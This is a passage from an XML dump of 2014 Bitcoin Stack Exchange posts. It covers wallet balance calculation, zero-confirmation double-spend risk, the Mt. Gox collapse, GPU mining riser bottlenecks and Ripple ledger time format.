simplify things for users.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Confirmed Balance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The confirmed balance is the sum of the value of the &quot;listunspent&quot; set.  Example: the listunspent (outputs in UTXO which client has keys for) has 20 outputs and combined they have a total value of 1.2 BTC so the confirmed balance is 1.2 BTC.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Reduced-Confirmed Balance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Client usually do not show the &quot;real&quot; confirmed balance because users are more interested in what they have available to spend.  Transactions in the memory pool which have inputs that reference outputs in the listunspent set technically have no yet reduced the confirmed balance.  In most cases they will eventually confirm so clients will remove these outputs when computing the &quot;confirmed&quot; balance.  The &quot;confirmed&quot; balance in most wallets is actually this reduced-confirmed balance.  It is done to abstract the way Bitcoin really works.  If it wasn't then the confirmed balance would not reduce until a transaction was confirmed which might seem confusing to a user (they have 100 BTC, spend 1, it still shows 100 BTC).  A client could break this down into &quot;confirmed balance&quot;, &quot;reserved for unconfirmed transactions&quot;, and &quot;available balance&quot;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Unconfirmed Balance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;An unconfirmed tx &quot;to&quot; the client will not be in the UTXO yet.  It will however be in the memory pool.  The sum of all the outputs (which the client has keys for) in the memory pool is the pending balance.  Those tx will either be confirmed (the tx and output is removed from memory pool and added to the UTXO) or they will be dropped.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Handling Change&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Due to the way Bitcoin handles &quot;change&quot; (outputs can be partially spent so the unused portion is sent back to the user) the simplified example above while accurate would be confusing to the user.   Most wallets &quot;cheat&quot; and include the unconfirmed change outputs in the &quot;reduced-confirmed&quot; balance.  This isn't a requirement however not hiding this aspect from users may lead to some unexpected behavior.  Imagine a client with a reduced-confirmed balance of 100 BTC and a pending balance of 0 BTC.  The user &quot;spends&quot; 1 BTC however the outputs referenced in the new tx total 5 BTC.  This means the new outputs are actually 1 BTC + 4 BTC &quot;change&quot;.  If balances weren't modified to &quot;hide&quot; the change, after the spend the user would see confirmed balance of 95 BTC and a pending balance of 4 BTC.  &lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="65630" LastEditDate="2017-11-25T01:54:33.637" LastActivityDate="2017-11-25T01:54:33.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23035" PostTypeId="1" AcceptedAnswerId="23070" CreationDate="2014-03-04T14:06:52.077" Score="8" ViewCount="4898" Body="&lt;p&gt;Does the Bitcoin protocol guarantee that within a valid block, if transaction B spends the outputs of transaction A, A will always precede B?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it possible to have B before A?&lt;/p&gt;&#xA;" OwnerUserId="2716" LastActivityDate="2019-07-17T05:45:20.517" Title="Order of transactions within a block" Tags="|blockchain|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23037" PostTypeId="2" ParentId="22702" CreationDate="2014-03-04T14:31:26.897" Score="0" Body="&lt;p&gt;The coinbase value in GetBlockTemplate is the coinbase value which will be used in the coinbase transaction of the produced block.  As such it includes the sum of transaction fees plus the current subsidy (25 BTC at the time of writing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If building the coinbase by hand one thing to consider is that the coinbase check in Bitcoin is &quot;loose&quot;.  For a block to be valid, the value of the coinbase can not be &lt;strong&gt;more than&lt;/strong&gt; the computed subsidy plus transaction fees.  It can however be any smaller value including zero.  This was likely an oversight by Satoshi but it has led to some blocks being minted with a smaller than allowed coinbase.  This results in coins being permanently destroyed.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2014-03-04T14:31:26.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23038" PostTypeId="1" AcceptedAnswerId="23045" CreationDate="2014-03-04T16:52:46.903" Score="3" ViewCount="268" Body="&lt;p&gt;I keep hearing people say that 0 confirmations are safe at small dollar amounts because it would take more money to do a double spend hack. At what value does it start to become unsafe to trust a 0 confirmation transaction?&lt;/p&gt;&#xA;" OwnerUserId="1561" LastActivityDate="2014-03-04T22:09:42.613" Title="How much money is a double spend worth?" Tags="|blockchain|confirmations|doublespend|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23039" PostTypeId="2" ParentId="23038" CreationDate="2014-03-04T17:12:28.447" Score="0" Body="&lt;p&gt;There isn't necessarily a specific amount of money at which an 0/unconfirmed attack becomes feasible, because it doesn't cost any money (perhaps only the transaction fee, but that's negligible). It's just luck which of the concurring transactions will be included in the next block(s). Do not trust 0/unconfirmed transactions, never. I don't understand why people are so eager to risk their money... Bitcoin was not designed to support 0/unconfirmed transactions, that would undermine the whole idea of a blockchain that registers and secures transactions.&lt;/p&gt;&#xA;" OwnerUserId="7043" LastActivityDate="2014-03-04T17:12:28.447" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23040" PostTypeId="1" CreationDate="2014-03-04T17:12:47.297" Score="-5" ViewCount="96" Body="&lt;p&gt;&quot;lthough these events are unfortunate, none of them involve Bitcoin itself being hacked, nor imply inherent flaws in Bitcoin; just like a bank robbery doesn't mean that the dollar is compromised.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please explain to me why bitcoins value went from over 1000 dollars, to 500 and some over nigth because of theft?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mt gox got robbed 750,000 bitcoins, but as if this article was any kind of accurate, would bitcoins value still not be in the 1000's????? if in fact robing bitcoins didn't affect prices at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoin is a dream currency for dreamers, and dreamers have to wake up some day&lt;/p&gt;&#xA;" OwnerUserId="14135" LastActivityDate="2014-03-04T21:44:16.797" Title="if theft of bitcoin doesn't affect bitcoin value" Tags="|value|loss|" AnswerCount="2" CommentCount="1" ClosedDate="2014-03-05T11:57:39.987" ContentLicense="CC BY-SA 3.0" />
  <row Id="23041" PostTypeId="2" ParentId="23038" CreationDate="2014-03-04T18:21:24.150" Score="1" Body="&lt;p&gt;There is no hard and fast rule. It depends on who is trying to attack and how. But I'd say that for amounts of up to $30, 0-confirmation transactions are usually very safe. For larger amounts it depends on the exact situation. Such transactions are safer if the good offered is illiquid, if the transaction is done in person and if the sender is identified in some way.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2014-03-04T18:21:24.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23042" PostTypeId="1" CreationDate="2014-03-04T18:57:50.190" Score="2" ViewCount="122" Body="&lt;p&gt;A non-profit I volunteer for wants to stop accepting Bitcoin because &quot;it has been in the news a lot negatively and it reflects badly on the organization&quot;.  How can I answer this?&lt;/p&gt;&#xA;" OwnerUserId="4708" LastActivityDate="2014-03-04T21:50:42.893" Title="reflecting badly on the organization" Tags="|charity|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23043" PostTypeId="2" ParentId="23042" CreationDate="2014-03-04T19:29:54.030" Score="1" Body="&lt;p&gt;Is Overstock.com &quot;negative&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, they've been &lt;a href=&quot;http://www.foxbusiness.com/technology/2014/03/04/overstock-surpasses-1m-in-bitcoin-purchases/&quot; rel=&quot;nofollow&quot;&gt;rapidly increasing BTC denominated sales&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fear of being behind the curve could present a justifiable cost to avoid cryptocurrency denomination.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-03-04T19:52:12.610" LastActivityDate="2014-03-04T19:52:12.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23044" PostTypeId="2" ParentId="23040" CreationDate="2014-03-04T19:36:21.680" Score="2" Body="&lt;p&gt;Because Bitcoins don't really have a fundamental anchor value, their price is subject to momentum effects. When the Mt Gox problems were reported, many people expected the price of Bitcoin to drop. Even if you expect Bitcoin to hold its value in the long term, if you think it's going to drop in the short term, you may sell hoping to buy back at a lower price.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once the price starts dropping, others decide to sell figuring they can buy back at a lower price, causing the drop to escalate. Eventually, the price gets low enough that people don't want to risk &quot;missing the bottom&quot;, so they buy back in to hold for the longer term. This ends the drop and often causes a rebound.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is definitely in the process of growing up.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-04T19:36:21.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23045" PostTypeId="2" ParentId="23038" CreationDate="2014-03-04T19:39:27.520" Score="6" Body="&lt;p&gt;The easiest way to do a double spend against someone who accepts zero-confirmation transactions is with a Finney attack. To perform a Finney attack, you must first mine a block and be willing to risk losing that block. So the answer is that if the value of the transaction is small relative to the risk of losing a block reward, you don't have to worry about the attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using today's numbers: An attack with a one minute window has about a 10% chance of costing you a block. The block reward is 25 Bitcoins and a Bitcoin is around $600. So for amounts much less than $1,500, you don't need to worry about a double spend. Nobody's going to risk losing $15,000 to steal $1,500.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this assumes you know how to accept zero confirmation transactions! You must watch at multiple points in the network and ensure the fee is adequate.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-03-04T20:04:22.920" LastActivityDate="2014-03-04T20:04:22.920" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23046" PostTypeId="2" ParentId="23042" CreationDate="2014-03-04T19:40:01.407" Score="4" Body="&lt;p&gt;Tell them that actions of others doesn't necessarily reflect the organization you're in. Gangsters and drug dealers use USD everyday as well, their wrongdoings are not yours.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-04T19:40:01.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23047" PostTypeId="2" ParentId="23010" CreationDate="2014-03-04T19:42:37.027" Score="0" Body="&lt;p&gt;Many clients running at once will of course take up a lot CPU and RAM. Syncing is a CPU/RAM intensive task as well. Consider running one at a time?&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-03-04T19:42:37.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23048" PostTypeId="2" ParentId="23040" CreationDate="2014-03-04T20:17:18.680" Score="0" Body="&lt;p&gt;I think the drop isn't so much about the theft of bitcoins, which didn't happen until the 28th of Feb (according to &lt;a href=&quot;http://en.wikipedia.org/wiki/Bitcoin#Thefts&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Bitcoin#Thefts&lt;/a&gt; ).  By that time, the price had already dropped to between US$550 and US$600 ( &lt;a href=&quot;http://bitcoincharts.com/charts/bitstampUSD#rg30ztgSzm1g10zm2g25&quot; rel=&quot;nofollow&quot;&gt;http://bitcoincharts.com/charts/bitstampUSD#rg30ztgSzm1g10zm2g25&lt;/a&gt; ); since then, the price has risen&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the main reason the price of bitcoin dropped is that, with people having difficulty getting their BC out of MtGox, the value of a bitcoin on MtGox fell (what is the value of a BC if you can't get it into your wallet) - this is similar to a bank run ( &lt;a href=&quot;http://en.wikipedia.org/wiki/Bank_run&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Bank_run&lt;/a&gt; ). With the value of BC dropping at MtGox, it dragged the rest of BC down too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the value of something drops, people panic and want to sell, to get their money out before it collapses completely. This panic selling may cause that very collapse, or, if there are enough people who think it has some value, it will stabilise when all the panic selling is done. Often, when it stops dropping, people will notice that it has stopped dropping, and buy it back up; you get a rebound (some of which we've seen on the 3rd).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As to your last paragraph, about it being a &quot;currency for dreamers&quot;, &quot;bitcoin&quot; has two different meanings for two different groups of people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The primary meaning of &quot;currency&quot;, which is what most people think of when they think of &quot;currency&quot;, is &quot;something which you can trade for something else&quot;. By this definition, BC are 100% real - I've used it to buy stuff. If this is why you have a particular currency, you don't have much for very long (I usually have between $0 and $20 of currency in my pocket at any time; if I need more, I will get it for a specific purpose, and pass it on; my bank balance goes from slightly more than my monthly pay to depressingly close to $0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other meaning/use of currency is investment - or, as I like to call it, gambling. This often involves buying and selling quickly, as prices rise and fall. BC is very good for this, because it (currently) rises and falls quickly. In fact, in August you could have bought a whole bitcoin for about US$100. In November 2012, you could have bought 10 bitcoins for the same amount of money. Those 10 bitcoin are now worth over $6,000. However, as with any sort of investment, there are also risks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember also, when talking about &quot;dream currency&quot;, that fiat (government) currencies have also collapsed. In 1919, US$1 would buy about 7 German Marks; in 1923, you could get 4,210,500,000,000 of them for the same price. Bank notes were used as wallpaper, because they were cheaper. Did that make Marks &quot;dream currency&quot;? Before 1914, the German citizens had no idea that they were going to lose a war, and that their currency was going to collapse. Wikipedia lists 39 cases, from Angola, to Zimbabwe.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastEditorUserId="12006" LastEditDate="2014-03-04T21:44:16.797" LastActivityDate="2014-03-04T21:44:16.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23049" PostTypeId="2" ParentId="23042" CreationDate="2014-03-04T21:50:42.893" Score="2" Body="&lt;p&gt;I would point out that they are turning away donations. I think the sorts of people that donate BC are probably unlikely to donate if BC is not an option. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my biggest suggestion is not to them, but to you: be prepared for the possibility that nothing you say is going to change their mind. Being right is no guarantee that you will be able to convince people.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember also, that an organisation's reputation is worth a LOT - they may be right that they will lose more donations than they gain, even if the reason they lose reputation is stupid.&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-03-04T21:50:42.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23050" PostTypeId="2" ParentId="22731" CreationDate="2014-03-04T22:07:14.553" Score="4" Body="&lt;p&gt;The general consensus is like Robert said: &lt;strong&gt;there SHOULDN'T be any difference, but there is!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Having the same problem here!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running Windows 8.1 Pro (64-bit) with five (5) of the new GeForce 750 Ti cards by EVGA (FTW model).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They hash at 320 KH/s when connected to the PCIe 16x slot, but get capped/maxed at 295 KH/s when connected using 1x to 16x riser cables.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All riser cable molex plugs are connected to power supply.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;All cards have their PCIe 6-pin power plugs connected as well.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Updated BIOS of cards to take up 65 watts max (or even up to 100 W) to no avail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Power supply: 1000 watts (more than enough)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Motherboard: BIOSTAR H81S2 (made for mining) ver. 6 - latest BIOS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE: I thought the culprit was the motherboard, so I bought the ASRock H81 Pro BTC (made for mining) motherboard.  SAME EXACT STORY!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was about to try a USB riser cable instead, but I see that the OP (Scott) has the same issue with those as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm leaning towards a driver or OS issue, but I'm quite certain it's because of using the 1x slots, though, AMD cards are hashing at much faster rates!  So that's interesting.  What's going on here?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will try running on Linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I contacted BIO-STAR for tech support and they'll get back to me.  Their R&amp;amp;D department is looking into this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I already tried setting the PCI speeds for the slots, in the BIOS, to Gen2, manually (instead of Auto), and that didn't help.  (Because I found someone on the internet with a similar issue and they said this fixed it for them, but it's not exactly this issue they've had).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BIOS I tried changing PCI Latency Timer up to 248 PCI Bus Clocks - &lt;strong&gt;didn't help!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the BIOS I tried changing the Maximum Payload &amp;amp; Maximum Read Request to 4096 bytes - &lt;strong&gt;didn't help!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've disabled redundant services and components in Windows - &lt;strong&gt;didn't help!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran the DPC Latency Checker tool and things seem stable so that's not the issue either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Interesting to note:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While overclocking above a certain MHz for the core or memory, through the 1x riser, once the hash rate reaches 295 KH/s, it does not go any higher no matter how much you overclock, however, the overclocking utility of choice (EVGA Precision X, ASUS GPU Tweak, MSI Afterburner) will confirm the higher clock rates running on the cards.  If connected through the full PCIe 16x slot, this 295 KH/s limit is non-existent, and the more you overclock past that same amount of MHz as before, the higher the hash rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't matter which version of CUDAminer is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Looks like it's a CUDAminer issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.overclock.net/t/1468166/gtx-750-ti-mining/190#post_21890197&quot; rel=&quot;nofollow&quot;&gt;http://www.overclock.net/t/1468166/gtx-750-ti-mining/190#post_21890197&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Cudaminer apparently has a high PCIe bandwidth utilization...thus when&#xA;  going from x16 mode to anything lower, as you get closer to x1 mode&#xA;  (risers or not), you're going to see degradation of performance (10-30&#xA;  kH/s for 750 Ti in my experience). Cudaminer author is apparently&#xA;  going to be working to fix this ASAP since he'll soon be operating a&#xA;  750 Ti rig with riser assemblies.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="14142" LastEditorUserId="14142" LastEditDate="2014-03-05T00:03:11.460" LastActivityDate="2014-03-05T00:03:11.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23051" PostTypeId="2" ParentId="23038" CreationDate="2014-03-04T22:09:42.613" Score="0" Body="&lt;p&gt;I will echo everyone else's answers, there is no hard and fast rule. There are a number of things to take into consideration:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how much are you willing to risk?&lt;/li&gt;&#xA;&lt;li&gt;How much do you trust the person you are trading with?&lt;/li&gt;&#xA;&lt;li&gt;How much do they have to gain, from being fair to you? &lt;/li&gt;&#xA;&lt;li&gt;How much chance at preparation have they had?&lt;/li&gt;&#xA;&lt;li&gt;Do they have a reputation to lose?&lt;/li&gt;&#xA;&lt;li&gt;How much are they trusting you?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you are getting or sending BC, then consider that in a trade, one side MUST trust the other first; either you give them the money before they transfer the BC (in which case they can run off with it), or you give them the money after they transfer the BC (in which case, you can run off without paying them). This, of course, applies to pretty much everything you buy/sell. If you get a subscription to a newspaper, you are entrusting them with money before you get your month's worth of newspaper. If you buy petrol (gas) for your car, you get the petrol before you pay for it. If you buy a car, you will need to pay for it before the ownership is transferred. Goods and money, or services and money, are never transferred &quot;simultaneously&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to mitigate the risk is to make sure they can make more off you by playing fair. A newspaper can make more off you by giving you the newspaper after you've paid for it, because it means you will extend your subscription next month. On auction websites, a seller who doesn't deliver may be penalized by getting a poor reputation. Some of these may apply to BC, depending on the situation. If you want $500 worth of BC, it may be worth getting it in several small amounts - $25, then $100, then $350, paying for each when you get no confirmations, but not getting the next one until you get some confirmations (perhaps different days).&lt;/p&gt;&#xA;" OwnerUserId="12006" LastActivityDate="2014-03-04T22:09:42.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23052" PostTypeId="1" AcceptedAnswerId="23294" CreationDate="2014-03-04T22:16:45.027" Score="0" ViewCount="118" Body="&lt;p&gt;When you log into blockchain.info - you enter the password on the client side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the password remain stored in a local javascript variable on the client side after the login process is over?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If yes, does that count as real a security risk? What kind of attack vectors does that open you to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, how else does the wallet update the server side state?&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2014-03-09T15:52:21.317" Title="Does blockchain.info retain the wallet password in client-side memory?" Tags="|blockchain.info|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23053" PostTypeId="2" ParentId="1447" CreationDate="2014-03-04T22:35:09.437" Score="0" Body="&lt;p&gt;With a &lt;a href=&quot;http://techcrunch.com/2014/03/03/mt-gox-source-code-leaked-by-hackers-along-with-team-information-customer-data/?utm_campaign=fb&amp;amp;ncid=fb&quot; rel=&quot;nofollow&quot;&gt;recent news on bitcoin&lt;/a&gt;, it is claimed that the source code for MtGox exchange was leaked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can find partially their source code (~2000 line of php) in this &lt;a href=&quot;http://pastebin.com/W8B3CGiN&quot; rel=&quot;nofollow&quot;&gt;paste&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2014-03-04T22:35:09.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23054" PostTypeId="2" ParentId="22617" CreationDate="2014-03-04T23:00:08.813" Score="1" Body="&lt;p&gt;If you can afford storing the ~20GiB of blockchain on your disk, then bitcoind is a good bet. Otherwise, check out electrum, it has a very similar API, though there are some quirks. For the most lightweight solution, check out blockchain.info API, this should be the same API as bitcoind's.&lt;/p&gt;&#xA;" OwnerUserId="13645" LastActivityDate="2014-03-04T23:00:08.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23056" PostTypeId="2" ParentId="23011" CreationDate="2014-03-04T23:53:44.757" Score="1" Body="&lt;p&gt;There could also be hacks targeting the bitcoin software implementation. If a vulerability is applicable to software running on majority (&gt;50% hashrate) of the nodes then it is a real threat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example lets say someone can craft a mal-formed transaction that somehow can trick &gt;50% nodes to accept it (for example induce a buffer overflow and somehow allow attacker to gain remote access to the node system itself and make modifications) then bad things will happen.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-03-04T23:53:44.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23058" PostTypeId="2" ParentId="22641" CreationDate="2014-03-05T01:13:09.837" Score="1" Body="&lt;p&gt;There are people buying and selling 'MTGox BTC' for 'Real BTC' here &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinbuilder.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitcoinbuilder.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;essentially a gamble on whetehr they payout on the accounts there.  But they now it seems have stopped trading since the official insolvency declaration. However as a once (a long time ago) customer of MtGox I did see in my inbox a form entitling me to apply to get any funds I may have held in MtGox back as part of the liquidation process.  I would suggest you look to that as your first avenue. Failing that as is the case in many liquidations you may never see your BTC back. &lt;/p&gt;&#xA;" OwnerUserId="13963" LastActivityDate="2014-03-05T01:13:09.837" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23059" PostTypeId="1" CreationDate="2014-03-05T01:14:21.900" Score="4" ViewCount="163" Body="&lt;p&gt;Is it possible to create a unified client that manages multiple cryptocurrencies? Does such a client already exist?&lt;/p&gt;&#xA;" OwnerUserId="14152" LastEditorUserId="5406" LastEditDate="2014-03-08T22:45:31.550" LastActivityDate="2014-03-09T09:09:56.010" Title="Is it possible to create a unified client that manages multiple cryptocurrencies?" Tags="|wallet|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23061" PostTypeId="1" AcceptedAnswerId="23065" CreationDate="2014-03-05T01:54:06.190" Score="5" ViewCount="1013" Body="&lt;p&gt;I am wondering what is the format used in Ripple ledger time? For example, one of the most recent ledgers had &lt;code&gt;close_time&lt;/code&gt; of &lt;code&gt;447299110&lt;/code&gt;. I initially thought it was UNIX time, but the current time was &lt;code&gt;1393983976&lt;/code&gt; - an order of magnitude of difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the Ripple ledger time format and how to convert from a UNIX time to that format?&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="5406" LastEditDate="2017-12-24T04:49:27.713" LastActivityDate="2017-12-24T04:49:27.713" Title="Ripple ledger time format?" Tags="|ripple|timestamp|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23062" PostTypeId="1" CreationDate="2014-03-05T03:06:13.367" Score="2" ViewCount="957" Body="&lt;p&gt;I've had my digitalcoin wallet open for a few days now, hoping it would eventually sync back up but it's seemingly stuck, not necessarily at a specific block, but around 3 days back, whichever block that may be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have several other wallets that all sync fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something wrong with digitalcoin or is it me? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would the repair process look like for &quot;resetting&quot; the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks for the help!&lt;/p&gt;&#xA;" OwnerUserId="12710" LastActivityDate="2017-08-11T22:55:14.267" Title="digitalcoin wallet won't sync" Tags="|blockchain|synchronization|windows|altcoin|litecoin-qt|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23065" PostTypeId="2" ParentId="23061" CreationDate="2014-03-05T04:57:56.043" Score="7" Body="&lt;p&gt;Ripple times are seconds since 1/1/2000 00:00 UTC. You can add 946,684,800 to a Ripple time to convert it to a UNIX time. If you are writing code to convert from Ripple times to UNIX times, please do your math in a 64-bit variable, not a 32-bit one.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-03-05T04:57:56.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23066" PostTypeId="1" CreationDate="2014-03-05T06:47:33.110" Score="1" ViewCount="125" Body="&lt;p&gt;Probably a stupid question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am planning to create cold storage using Multibit on Ubuntu LiveCD, get the wallet file out of it and store it securely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In future if I use a Windows PC with Multibit and use the cold storage wallet file with it, should it work fine? Or the wallet file structure are different for Linux and Windows Multibit clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14157" LastActivityDate="2014-03-09T09:21:46.027" Title="Can a Wallet Generated by Linux Multibit Client be Used with Windows Multibit client?" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23067" PostTypeId="2" ParentId="17779" CreationDate="2014-03-05T07:01:41.853" Score="0" Body="&lt;p&gt;I think you're all not seeing the elephant in the room. There will only be finite amount of these things and that's very bad for the future. Why? Simple: a few people will control them and artificially control the value, this in turn will fuel other crypto-currencies to high levels due to most not being able to obtain Bitcoin and thus collapsing Bitcoin in the next two years or so. This will occur over and over as the rats swarm to the next crypto-currency after each pump and dump. Most of you have no real concept of money or finance and what really makes it all work hence the short term gains you're enjoying. At present there's about 150 different types of cyrptocurrency most barely worth a penny one worth over 67k per coin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course there's also the criminal element, when you assign value to something bad people smarter than you will take it from you quite easily. Example the 2011 and current Mt.Gox foolishness and several other exchanges getting hacked and shuttering like the first offical bitcoin bank it lost 750,00 worth and pretty much told it's depositer's your s.o.l.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any of you read the new Mt.Gox statement on their site? They are in deep and now Bitcoin is in real danger of being federally regulated by the government of Japan, wanna bet all other goverments will follow suit real quick?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fun while it lasted.&lt;/p&gt;&#xA;" OwnerUserId="14158" LastEditorUserId="5406" LastEditDate="2014-03-05T14:21:42.410" LastActivityDate="2014-03-05T14:21:42.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
